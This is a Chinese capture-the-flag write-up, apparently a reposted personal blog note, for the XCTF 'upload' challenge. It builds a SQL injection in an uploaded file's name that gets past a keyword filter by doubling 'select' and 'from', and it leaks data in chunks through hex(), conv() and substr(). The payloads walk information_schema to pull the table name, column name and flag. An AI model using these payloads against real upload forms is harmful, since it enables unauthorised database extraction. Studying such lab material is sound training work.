攻防世界upload

Hex()是MySQL的Sring函数。

此方法返回给定数字或字符串的十六进制字符串

a' +(selselectect conv(substr(hex(database()),1,12),16,10))+ '.jpg

数据库名变成16进制

选取从第一个字母开始,往后数12个字母

hex 16进制再16进制

CONV(n,from_radix,to_radix):用于将n从from_radix进制转到to_radix进制

substr(str,start,length):将str从start长度为length分割

hex(str):将str转成十六进制。

先从10进制变成16进制

在使用hex解码

a’+(selselectect database())+’.jpg

上传jpg图片,有回显,说明文件已经被传到了数据库中,

但是没有给路径

上传了木马,但是无法利用

数据上传到数据库。浏览器又从数据库读取了上传的文件

这个过程有可能触发sql注入,将文件名中加sql语句,

上传文件,使用burp把文件名修改成sql语句

文件存入数据库,显示文件名,

输入查询数据库的语句时,可以读取数据库

修改成 select database().jpg ,发现select被过滤

双写绕过成功

构造:

payload:文件名’+(selselectect conv(substr(hex(database()),1,12),16,10))+’.jpg

CONV(n,from_radix,to_radix):用于将n从from_radix进制转到to_radix进制

substr(str,start,length):将str从start长度为length分割

hex(str):将str转成十六进制

传入,发现上面情况

sql语句是执行了,但无法输出执行结果.(可能数据被过滤掉了)

那么尝试将查询结果改为16进制输出

 插入数据库文件名中如果包括SQL语句,在返回信息时,服务器将对字母进行截断(某些特殊字符也会截断或过滤) 尝试用10进制表示 conv函数(src,from_base,to_base) src是要转换的数据, from_base是原进制, to_base是目标进制.

使用CONV是因为题目过滤了回显有字母的情况,如果出现了字母则后面的内容就不显示,所以需要将16进制的内容转成10进制

正常sql语句进入,服务器会对回显进行过滤

所以使用hex()对返回结果进行加密

然后发现题目过滤了回显柚子的情况,如果出现字母后面的内容就不显示

所以需要将16进制的内容

转换成10进制

构建

seselectlect database().jpg

就返回

select databse().jpg

payload:文件名’+(selselectect conv(substr(hex(database()),1,12),16,10))+’.jpg

传入

a‘+(select database())+’,jpg

之后,没有任何回显

1'+(selselectect  hex(database()))+'.jpg

返回了

7765626

hex解密出来web

看答案,我知道

他对回显的字母进行过滤,所以要再加上conv()把16进制变成10进制,字母就没了

传入

1'+(hex(seselectlect database()))+'.jpg

不知道为什么没有回显

传入

1'+(selselectect  conv(hex(database()),16,10))+'.jpg

发现返回科学计数法

1.8446744073709552e19

把字符串进行长度限制

1'+(selselectect  substr(conv(hex(database()),16,10),1,12))+'.jpg

返回

184467440738

进行10变成16,再hex()解码

输出的结果不对劲

推测,就是先hex,再conv之后,出来的结果是科学计数法

对科学计数法,提取到12位,所以不对

所以应该hex之后,提取12位,再进行conv

就可以不被科学计数法

1'+(selselectect  conv(substr(hex(database()),1,12),16,10))+'.jpg

返回131277325825393

解码之后

WEB_UQ

并且发现

之前传入的,只使用一个hex()加密,输出的内容

1'+(selselectect  hex(database()))+'.jpg

发现他如果回显的内容有字母,会去掉字母后面的东西

1'+(selselectect  conv(substr(hex(database()),13,12),16,10))+'.jpg

1819238757

LOAE

所以数据库名

WEB_UQ LOAE

看答案,他说通过测试长度最大是12,超过12,就会返回科学计数法

然后就是爆出表名,字段名

官方答案:

sql '+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),1,12),16,10))+'.jpg

114784820031327

sql '+( CONV(substr(hex(selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1),1,12),16,10))+'.jpg

为什么少了个括号,就没有返回内容

最里面的括号是把select语句变成一个整体

第二个括号是hex的括号

传入

sql '+(CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),1,12),16,10))+'.jpg

执行成功

就是回显文件名,把文件名变成sql语句,会被执行,然后回显

继续向上面

先用1-12

再13

再25

拼接后得到表名hello_flag_is_here

查列名

sql '+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 0,1)),1,12),16,10))+'.jpg

conv(substr(hex((seselectlect column_name frfromom information_schema.columns

where table_name=’ hello_flag_is_here’ limit 0,1)),1,12),16,10)

拼接后得到列名i_am_flag

查字段

sql '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10))+'.jpg

sql '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),13,12),16,10))+'.jpg

sql '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),25,12),16,10))+'.jpg

拼接后得到flag!!_@m_Th.e_F!lag

注意limit

参考大佬

攻防世界web进阶区upload_gongjingege的博客-CSDN博客_攻防世界upload

https://blog.csdn.net/qq_44065556/article/details/120449847


本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!

相关文章

立即
投稿

微信公众账号

微信扫一扫加关注

返回
顶部